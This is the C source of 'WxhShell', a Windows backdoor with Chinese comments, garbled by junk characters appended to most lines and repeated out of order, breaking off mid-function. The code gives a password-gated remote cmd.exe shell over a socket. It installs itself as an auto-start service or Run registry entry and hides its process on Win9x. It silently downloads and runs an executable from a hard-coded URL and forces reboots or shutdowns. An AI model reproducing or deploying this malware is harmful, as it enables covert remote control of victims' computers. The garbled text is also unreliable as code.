    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Z%I g  
    else { I\oI"\}U  
    closesocket(wsh); _+x&[^gjP  
    ExitThread(0); ]WP[hF  
    } <aEY=IF4  
    break; pm~uWXqxr=  
    } Tq=OYJq5U  
  // 获取shell SPU_@ Pk  
  case 's': { Ex3V[v+D(  
    CmdShell(wsh); tx01*2]pX  
    closesocket(wsh); RB `<Zw  
    ExitThread(0); 7s-ZRb[)1  
    break; Bi|XdS$G  
  } /?Fa<{  
  // 退出 6=xbi{m$  
  case 'x': { \IG"Te  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KgMW  
    CloseIt(wsh); < &~KYu\r  
    break; (>gAnebN L  
    } PgF7ug%,@C  
  // 离开 h>[][c(b  
  case 'q': { SUQk0 (M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ??.9`3CYo  
    closesocket(wsh); = ;"$t_t  
    WSACleanup(); @ I$;  
    exit(1); tZn=[X~Vw@  
    break; KZ}F1Mr  
        } fb||q-E  
  } %T:7I[f  
  } _LUTIqlvi  
$VLCD  
  // 提示信息 Sxw%6Va]p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `&-)(#  
} =2yg:D  
  } _N-JRM m<  
#`9D,+2iB%  
  return; 9e:}q O5)  
} zHsWj^m"  
C/L+:b&x~  
// shell模块句柄 sTALOL<  
int CmdShell(SOCKET sock) y $K#M  
{ h"~GaI  
STARTUPINFO si; ,awp)@VG7  
ZeroMemory(&si,sizeof(si)); CH/*MA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ie%twc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "L p"o  
PROCESS_INFORMATION ProcessInfo; M)oJ06`K  
char cmdline[]="cmd"; LVj62&,-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $2j?Z.yEG  
  return 0; W~&PGmRI  
} rZBOWT  
/6%<97/d  
// 自身启动模式 N7`<t&T@  
int StartFromService(void) _4VS.~}/R  
{ )=)=]|3  
typedef struct "T_OLegdK  
{ 5c~OG6COx  
  DWORD ExitStatus; FOU^Wcop%  
  DWORD PebBaseAddress; yb(zyGe  
  DWORD AffinityMask; `RG_FS"v  
  DWORD BasePriority; '"=Mw;p  
  ULONG UniqueProcessId; Dx-G0 KIG  
  ULONG InheritedFromUniqueProcessId; 75pz' Cb  
}   PROCESS_BASIC_INFORMATION; m8|&z{  
Fq<;-  
PROCNTQSIP NtQueryInformationProcess;  p|D-ez8  
`jur`^S|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gTp){  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "c  S?t  
IiV#V  
  HANDLE             hProcess; |# zznT"  
  PROCESS_BASIC_INFORMATION pbi; +I?T|Iin  
!%x=o&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2_4m}T3   
  if(NULL == hInst ) return 0; :  Jh  
W_zAAIY_Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z-!W#   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i*JbFukG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `euk&]/^.)  
b7:B[7yK.x  
  if (!NtQueryInformationProcess) return 0; G([!(8&2Y  
2_x~y|<9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A~!3svJW  
  if(!hProcess) return 0; `2Buf8|a,  
I\0mmdi73  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z5CWgN  
#]yb;L  
  CloseHandle(hProcess); Qhd~4  
K_J o^BZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J@{yWgLg  
if(hProcess==NULL) return 0; $cLtAo^W  
[p +h b  
HMODULE hMod; (\si/&  
char procName[255]; fU+A~oL%I  
unsigned long cbNeeded; J!QzF)$4J  
`3$S^|v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $h Is ab_  
od- 0wJN-m  
  CloseHandle(hProcess); _J51 :pi  
1f 0"z1   
if(strstr(procName,"services")) return 1; // 以服务启动 T#1>pED  
2S1wL<qP  
  return 0; // 注册表启动 2 AZ[gr@c  
} 8u::f`vi  
MR90}wXE  
// 主模块 RN?z)9!  
int StartWxhshell(LPSTR lpCmdLine) |4i,Vkfhe  
{ h-1eDxK6  
  SOCKET wsl; sa~.qmqu  
BOOL val=TRUE; &/7AW(?  
  int port=0; wR;_x x  
  struct sockaddr_in door; x@I@7Pvo3  
m6bI<C3^5  
  if(wscfg.ws_autoins) Install(); `A\ !Gn?   
lA39$oJ  
port=atoi(lpCmdLine); 3ySP*J5  
B 0%kq7>g  
if(port<=0) port=wscfg.ws_port; wovWEtVBU  
.Lrdw3(  
  WSADATA data; `@{qnCNQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jZ< *XX  
;APpgt4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   46'EZ@#s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {Ex0mw)T  
  door.sin_family = AF_INET; P X](hc=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _4z>I/R>Z  
  door.sin_port = htons(port); K \}xb2s  
_Gy*";E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0\AYUa?RM  
closesocket(wsl); B@]( ,  
return 1; r4O*0Q_  
} Vkex&?>v$  
EIl _QV6  
  if(listen(wsl,2) == INVALID_SOCKET) { a%f5dj+  
closesocket(wsl); :L9\`&}FS  
return 1; kImGSIJ  
} &X^~%\F:2  
  Wxhshell(wsl); !+cRtCaA::  
  WSACleanup(); d]h[]Su/?  
_OTkv6;4n  
return 0; :Ke~b_$Uy-  
xH\'gli/  
} +MOUO$;fGt  
=5_8f  
// 以NT服务方式启动 7/(C1II.Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tkWWR%c"  
{ Z{RgpVt  
DWORD   status = 0; SSi}1  
  DWORD   specificError = 0xfffffff; (@`+Le  
$cH'9W}3K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8T 6jM+ h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mxjY-Kq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ltHC+8 aZ  
  serviceStatus.dwWin32ExitCode     = 0; _'Q}Y nEv  
  serviceStatus.dwServiceSpecificExitCode = 0; A]B D2   
  serviceStatus.dwCheckPoint       = 0; bdqo2ZO  
  serviceStatus.dwWaitHint       = 0; qwA: o-q"  
Zx5vIm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0;e>kz3o  
  if (hServiceStatusHandle==0) return; 6R@ v>}  
xJ%b<y{@  
status = GetLastError(); }(J6zo9(x  
  if (status!=NO_ERROR) 1S\q\kz->D  
{ \u,hS*v0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T:wd3^.CG  
    serviceStatus.dwCheckPoint       = 0; l4u`R(!n5  
    serviceStatus.dwWaitHint       = 0; -BACdX  
    serviceStatus.dwWin32ExitCode     = status; t,R5FoV  
    serviceStatus.dwServiceSpecificExitCode = specificError; QsI>_<r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sBF>a|  
    return; fCZbIt)Eh  
  } p=9G)VO  
1h]Dc(Oc#=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y{K~g<VL  
  serviceStatus.dwCheckPoint       = 0; \0j|~/6  
  serviceStatus.dwWaitHint       = 0; WJe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W3 2mAz;  
} Ik=KEOz  
Wuye:b!  
// 处理NT服务事件,比如:启动、停止 Lc*i[J<s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +t/ VF(!  
{ ~mK9S^[  
switch(fdwControl) K*;=^PY  
{ ksm=<I"C  
case SERVICE_CONTROL_STOP: ]=q?= %H  
  serviceStatus.dwWin32ExitCode = 0; |...T 4:^Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Fg5c;sls  
  serviceStatus.dwCheckPoint   = 0; {:od=\*R  
  serviceStatus.dwWaitHint     = 0; @?*26}qp  
  { 5Z6$90!k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s qac>v  
  } &^qD<eZ!Eq  
  return; #(bMZ!/(  
case SERVICE_CONTROL_PAUSE: 4<Bj;1*4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; athU  
  break; <8r%_ ']  
case SERVICE_CONTROL_CONTINUE: ^7TM.lE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;% !'K~  
  break; %S.R@C[3  
case SERVICE_CONTROL_INTERROGATE: wC<!,tB(8  
  break; Gt\F),@  
}; Lc+wS@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t1g)Y|@d  
} C#>c(-p>RC  
zWB>;Z}  
// 标准应用程序主函数 tQz-tQg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gjL>FOe8u  
{ lXW.G  
sqJ?dIBH  
// 获取操作系统版本 "-A@>*g  
OsIsNt=GetOsVer(); bNY_V;7Kw`  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  ~;il{ym  
ph%/;?wY  
  // 从命令行安装 fX#Em'Ab[  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5cgDHs  
vy1:>N?#5  
  // 下载执行文件 JL`n12$m  
if(wscfg.ws_downexe) { ?J6J#{LRd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z!~~6Sq  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7DKbuUK  
} d1``} naNw  
HWFo9as""v  
if(!OsIsNt) { #{UM4~|:  
// 如果时win9x,隐藏进程并且设置为注册表启动 <.s[x~b\`  
HideProc(); 5R/k -h^`  
StartWxhshell(lpCmdLine); b!5W!vcK  
} 5Ee%!Pk  
else \@GA;~x.b  
  if(StartFromService()) EFqWnz  
  // 以服务方式启动 g15e|y)th  
  StartServiceCtrlDispatcher(DispatchTable); ZnI_<iFR*  
else { >bw:^F  
  // 普通方式启动 FJp~8 x=  
  StartWxhshell(lpCmdLine); 536H*HdN  
mcpM<vY/H  
return 0; 6i(nyA 2!  
} B;2os^*  
"S_t%m&R  
k^S=i_ U  
bh3}[O,L A  
=========================================== EUu"H` E+  
x =5k74  
V[5-A $ft  
+0;6.PK  
m/Q@-  
f,k'gM{K  
" & LwR9\sh  
b Zn:q[7  
#include <stdio.h> :hwZz2Dhi  
#include <string.h> GTeFDm; T^  
#include <windows.h> >ys>Q)  
#include <winsock2.h>  #dtYa  
#include <winsvc.h> k/u6Cw0/  
#include <urlmon.h> o;D87E6Z  
(XX6M[M8  
#pragma comment (lib, "Ws2_32.lib") 5nkx8JJ  
#pragma comment (lib, "urlmon.lib") (UA a  
C~yfuPr\B  
#define MAX_USER   100 // 最大客户端连接数 ^j0Mu.+_  
#define BUF_SOCK   200 // sock buffer ~kD/dXt  
#define KEY_BUFF   255 // 输入 buffer z\sy~DM;>  
 -*_D!  
#define REBOOT     0   // 重启 ic%<39  
#define SHUTDOWN   1   // 关机 Wr a W  
C;1A$]bk  
#define DEF_PORT   5000 // 监听端口 |-e*^|  
^}8(o  
#define REG_LEN     16   // 注册表键长度 .a8N 5{`  
#define SVC_LEN     80   // NT服务名长度 N)RyRR.x1.  
UwvGw5)q  
// 从dll定义API \|F4@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hJ (Q^Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1j`-lD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q&opnvN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _*>bf G  
-}/u?3^-  
// wxhshell配置信息 9gZMfP  
struct WSCFG { C},;M @xV  
  int ws_port;         // 监听端口 /!=uM .  
  char ws_passstr[REG_LEN]; // 口令 *!$4   
  int ws_autoins;       // 安装标记, 1=yes 0=no #5wOgOv  
  char ws_regname[REG_LEN]; // 注册表键名 h q6B pE  
  char ws_svcname[REG_LEN]; // 服务名 X*KQWs.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8V`NQS$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9TIyY`2!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h3Nwxj~E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @{iws@.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L'BDS*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [ >O4hifq  
$3[IlQ?  
}; WS/^WxRY  
*p`0dvXG2  
// default Wxhshell configuration n (7m  
struct WSCFG wscfg={DEF_PORT, gPSUxE `O.  
    "xuhuanlingzhe", =Mzg={)v  
    1, g{.>nE^Sc5  
    "Wxhshell", %0fF_OU  
    "Wxhshell", r Lg(J|^  
            "WxhShell Service", W=c7>s0>  
    "Wrsky Windows CmdShell Service", :9Zu&t  
    "Please Input Your Password: ", jL(=<R(~y  
  1, F l83 Z>  
  "http://www.wrsky.com/wxhshell.exe",  9f+|m9~2  
  "Wxhshell.exe" w<3}(1  
    }; 3FT%.dV^  
MqGF~h|+  
// 消息定义模块 1+~JGY#   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZF"f.aV8)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3~z4#8=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'Y IFHn$!  
char *msg_ws_ext="\n\rExit."; 8/,m8UOY  
char *msg_ws_end="\n\rQuit."; RrSSAoz1  
char *msg_ws_boot="\n\rReboot..."; C)~YWx@v  
char *msg_ws_poff="\n\rShutdown..."; x%23oPM  
char *msg_ws_down="\n\rSave to "; :y==O4  
QZB2yK3]h  
char *msg_ws_err="\n\rErr!"; 9 yH95uaDF  
char *msg_ws_ok="\n\rOK!"; 4:q<<vCJv  
%_0,z`f  
char ExeFile[MAX_PATH]; S~d_SU~>`  
int nUser = 0; '(mJ*Eb  
HANDLE handles[MAX_USER]; pi sk v[  
int OsIsNt; \HLI y  
l>`N+ pZ$  
SERVICE_STATUS       serviceStatus; R $HI JM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^h{A AS>  
9_h 3<3e  
// 函数声明 5!$m3j_,]?  
int Install(void); i>HipD,TD  
int Uninstall(void); pJrc\`D  
int DownloadFile(char *sURL, SOCKET wsh); %^n9Z /I  
int Boot(int flag); {Z 3t0F  
void HideProc(void); ;>QED  
int GetOsVer(void); RqgH,AN  
int Wxhshell(SOCKET wsl); /ZqBO*]  
void TalkWithClient(void *cs); e48`cX\E  
int CmdShell(SOCKET sock); vDZhoD=VR  
int StartFromService(void); #DApdD9M  
int StartWxhshell(LPSTR lpCmdLine); TC[_Ip&  
lTJ1]7)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dya]^L}fL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CB<1]Z  
E{kh)-  
// 数据结构和表定义 AWHB^}!}  
SERVICE_TABLE_ENTRY DispatchTable[] = k@JDG]R<{  
{ A"x1MjuqLM  
{wscfg.ws_svcname, NTServiceMain}, f ZL%H0&  
{NULL, NULL} A`Q'I$fj  
}; '\\dh  
%ANo^~8  
// 自我安装 2  *IF  
int Install(void) g <^Y^~+E  
{ |={><0  
  char svExeFile[MAX_PATH]; u3vBMe0v[  
  HKEY key; \?c0XD  
  strcpy(svExeFile,ExeFile); 6kuN)  
&o{I9MD  
// 如果是win9x系统,修改注册表设为自启动 Oe4 l` =2  
if(!OsIsNt) { 2ME"=! &5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z"*X/T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UZ0fw@RM  
  RegCloseKey(key); lS]<~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { drP2% u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,oX48Wg_+  
  RegCloseKey(key); 4b=hFwr[?  
  return 0; _5%SYxF*y  
    } vA@Kb3 ,  
  } _/bFt6  
} ^0"NcOzzxl  
else { sY+U$BYB>  
0Ge*\Q  
// 如果是NT以上系统,安装为系统服务 8*kZ.-T B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !|_b}/  
if (schSCManager!=0) SQ| pH"  
{ jIJVl \i]  
  SC_HANDLE schService = CreateService x?Z)q4  
  ( vzK*1R5  
  schSCManager, |7]7~ 6l  
  wscfg.ws_svcname, #&0)kr66  
  wscfg.ws_svcdisp, Nv "R'Pps  
  SERVICE_ALL_ACCESS, *vv <@+gA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h=SQ]nV{  
  SERVICE_AUTO_START, In^MZ)?  
  SERVICE_ERROR_NORMAL, \ }xK$$f2,  
  svExeFile, I"Y d6M% ;  
  NULL, F +PIZ%  
  NULL, mbxJS_P  
  NULL, s<gZB:~  
  NULL, 1}#v<b$  
  NULL @?iLz7SPk  
  ); 3xef>Xv=  
  if (schService!=0) 'Wjuv9)/  
  { v1<gNb)`  
  CloseServiceHandle(schService); Y(GH/jw  
  CloseServiceHandle(schSCManager); Cnd70tbD )  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O-Hu:KuIf  
  strcat(svExeFile,wscfg.ws_svcname); O%5cMz?eU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r|4jR6%<'m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BM=`zGh"  
  RegCloseKey(key); E0[!jZ:c  
  return 0; w{k8Y?  
    } ;'l Hw]}O*  
  } pxjN\q  
  CloseServiceHandle(schSCManager); '<~rV  
} L,!?'.*/]  
} #m?GBr%k  
! utgo/n  
return 1; (1H_V(  
} 9 \i;zpN\  
6} "?eW  
// 自我卸载 I7TdBe-  
int Uninstall(void) 2Fi>nJ  
{ 5r"BavA  
  HKEY key; L>+g;GJ  
&;L4Cj$ q  
if(!OsIsNt) { }MP2)6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Sr^4R+Z  
  RegDeleteValue(key,wscfg.ws_regname); " ] 0ER  
  RegCloseKey(key); )bRe"jxn7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #S2LQ5U  
  RegDeleteValue(key,wscfg.ws_regname); ,OWdp<z  
  RegCloseKey(key); LqIMU4Ex  
  return 0; *bRer[7y  
  } -v?,{?$0  
} MV6 %~T  
} lnL&v' {  
else { 3Gq Js  
@+~=h{jv<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u^a\02aV[  
if (schSCManager!=0) cw.Uy(ks|$  
{ dVc;Tt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q# gZ\V$I  
  if (schService!=0) HVz-i{M  
  { x&sT )=#  
  if(DeleteService(schService)!=0) { MK9?81xd  
  CloseServiceHandle(schService); 4 q}1  
  CloseServiceHandle(schSCManager); C>7Mx{!H  
  return 0; fHvQ9*T  
  } 9\3%5B7  
  CloseServiceHandle(schService); ^y'xcq  
  } q)gZo[]~  
  CloseServiceHandle(schSCManager); 5~k-c Ua  
} &b,.W; +  
} H^xrFXg~z  
$UW!tg*U&  
return 1; +4\JY"oi  
} *LcLYxWo  
,e+.Q#r*Y  
// 从指定url下载文件 *E0+!  
int DownloadFile(char *sURL, SOCKET wsh) hR b k-b  
{ ^|xj.  
  HRESULT hr; P]!$MOt  
char seps[]= "/"; @iB**zR/  
char *token; ASY uZ  
char *file; G?\o_)IJ  
char myURL[MAX_PATH]; ;d G.oUk=  
char myFILE[MAX_PATH]; T[xGF/  
n>>hfxv(O!  
strcpy(myURL,sURL); Hf+A52lrf  
  token=strtok(myURL,seps); (ii 5pnq  
  while(token!=NULL) }#z E`IT  
  { XOa<R  
    file=token; 2T5@~^:7u  
  token=strtok(NULL,seps); +P|$T:b  
  } 7c!oFwM  
z/ T|  
GetCurrentDirectory(MAX_PATH,myFILE); _tL+39 u  
strcat(myFILE, "\\"); *7oPM5J|v  
strcat(myFILE, file); D}"\nCz}y&  
  send(wsh,myFILE,strlen(myFILE),0); S$W *i@x?  
send(wsh,"...",3,0); RL~|Kr<7J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a$#,'UB  
  if(hr==S_OK) \sHM[n F0  
return 0; [ /*$?PXt  
else ~B>I?j  
return 1; @A!Ef=R  
9UOx~Ty  
} 1j o.d  
Xn.zN>mB  
// 系统电源模块 Fdd$Bl.&XS  
int Boot(int flag) 8"wA8l.  
{ &k\7fvF  
  HANDLE hToken; Gcg`Knr  
  TOKEN_PRIVILEGES tkp; N\H{p %8  
o]n5pZ\\W<  
  if(OsIsNt) { X ~4^$x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mp75L5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @^Mn PM  
    tkp.PrivilegeCount = 1; <<(~'$~,L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ':[+UUC@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WP32t@  
if(flag==REBOOT) { IaE};8a8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q9K Gf;  
  return 0; R.A}tV=j#  
} ec1snMY  
else { 8v1asFxs.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $f>WR_F  
  return 0; @U;-5KYYi  
} v7O{8K+  
  } h1fJ`WT6,  
  else { )%;#~\A  
if(flag==REBOOT) { `]5XY8^kI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QC4_\V>[  
  return 0; #Vul#JHW  
} oLruYSaD  
else {  i2)SSQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XT>e/x9'  
  return 0; ~SM2W%  
} W$gSpZ_7  
} K/Q;]+D  
wgLS9.  
return 1; 7bsW7;C  
} Uw61X>y=  
dq:M!F  
// win9x进程隐藏模块 m>:%[vm  
void HideProc(void) ddnWr"_  
{ SKLQAE5  
<py~(q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5 1 x^gX|  
  if ( hKernel != NULL ) "T}J|28Z  
  { V2, .@j#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C+5^[V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DX$`\PA  
    FreeLibrary(hKernel); "j$}'uK<  
  } z@~1e]%  
< ]wN/B-8J  
return;  C&e  
} 7 UQD02  
G#dpSNV3|  
// 获取操作系统版本 bs+KcY:N]  
int GetOsVer(void) bL0+v@(r  
{ J)jiI>  
  OSVERSIONINFO winfo; WK;p[u?~xi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F,:F9r?l,H  
  GetVersionEx(&winfo); /cI]Z^&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  k[vn:  
  return 1; Y%=A>~s*c:  
  else _LK>3S qd  
  return 0; S^x9 2&!  
} \Z+v\5nmO  
JH)&Ca>S  
// 客户端句柄模块 r4D66tF  
int Wxhshell(SOCKET wsl) X]1ep  
{ ;"Ot\:0  
  SOCKET wsh; @ K@~4!  
  struct sockaddr_in client; }FM<uBKW  
  DWORD myID; Ccc6 ko_  
"X]u fZ7  
  while(nUser<MAX_USER) xVl90ak  
{ -\NB*|9m|  
  int nSize=sizeof(client); l}O`cC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v(: VUo]H  
  if(wsh==INVALID_SOCKET) return 1; [MiD%FfcNH  
ZgXh[UHQy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RhQOl9  
if(handles[nUser]==0) DJn>. Gd  
  closesocket(wsh); *JpEBtTv=5  
else |23 }~c,  
  nUser++; efbt\j6@%2  
  } vG\Wr.h0!=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fA 3  
U;jk+i  
  return 0; zP9 HYS  
} ?QuFRl,ZJ  
xxV{1, H2  
// 关闭 socket kW,yZ.?f  
void CloseIt(SOCKET wsh) T|{BT! W1E  
{ Hb]7>[L  
closesocket(wsh); L7jz^g^  
nUser--; pt0H*quwI  
ExitThread(0); oO UVU}H  
} hD$U8~zK  
)(ma  
// 客户端请求句柄 9CN / v  
void TalkWithClient(void *cs) 3Q;^X(Ml*  
{ huq6rA/i  
L>L4%?  
  SOCKET wsh=(SOCKET)cs; 9J%>2AA  
  char pwd[SVC_LEN]; S`6'~g  
  char cmd[KEY_BUFF]; jr9ZRHCU  
char chr[1]; 3p^WTQ>(  
int i,j; \7C >4  
C#r`oZS1  
  while (nUser < MAX_USER) { J]~fv9~P  
=x^I 5Pn  
if(wscfg.ws_passstr) { Hou{tUm{xC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ha/\&Z(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t TmFJ5  
  //ZeroMemory(pwd,KEY_BUFF); Maxnk3n  
      i=0; <wSmfg,yF  
  while(i<SVC_LEN) { 9m'[52{o  
Y3Qq'FN!I  
  // 设置超时 )5&m:R9  
  fd_set FdRead; .i. |wY  
  struct timeval TimeOut; vj_oMmjKw  
  FD_ZERO(&FdRead); I|LS_m  
  FD_SET(wsh,&FdRead); #m M&CscE  
  TimeOut.tv_sec=8; oVhw2pKpM  
  TimeOut.tv_usec=0; 4kz8U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xoik%T-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \u/5&[;  
H?~u%b@   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tL).f:?  
  pwd=chr[0]; (la   
  if(chr[0]==0xd || chr[0]==0xa) { , m\0IgZdz  
  pwd=0; C )I"yeS.  
  break; sEj:%`l|  
  } K9P"ncMt  
  i++; nAX |=qp#  
    } pIrAGA;  
hZ#tB  
  // 如果是非法用户,关闭 socket 1uH\Bn]p?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I|ULf  
} Q O?ha'Sl  
fwnpmuJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |knP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C= m Y  
D-~Jj&7  
while(1) { P0Jd6"sS"  
7L\GI`y  
  ZeroMemory(cmd,KEY_BUFF); y$&a(S]  
U'lD|R,g  
      // 自动支持客户端 telnet标准   y-@!, @e  
  j=0; g764wl  
  while(j<KEY_BUFF) { GS$k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Fw\iy1o  
  cmd[j]=chr[0]; ps [6)d)o  
  if(chr[0]==0xa || chr[0]==0xd) { ^GAdl}  
  cmd[j]=0; (G"qIw   
  break; ,mX|TI<*  
  } A8RT3OiXA  
  j++; czb%%:EJs|  
    } XH2 SEeh  
?dmMGm0T9  
  // 下载文件 |{jAMC0#  
  if(strstr(cmd,"http://")) { I[`2MKh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `kv$B3  
  if(DownloadFile(cmd,wsh)) `MwQ6%lf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m Zh VpIUO  
  else v-gT 3kJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wW<"l"x,  
  } &`Di cfD  
  else { A{J1 n  
*0hiPj:  
    switch(cmd[0]) { u20b+c4  
  _]S6>  
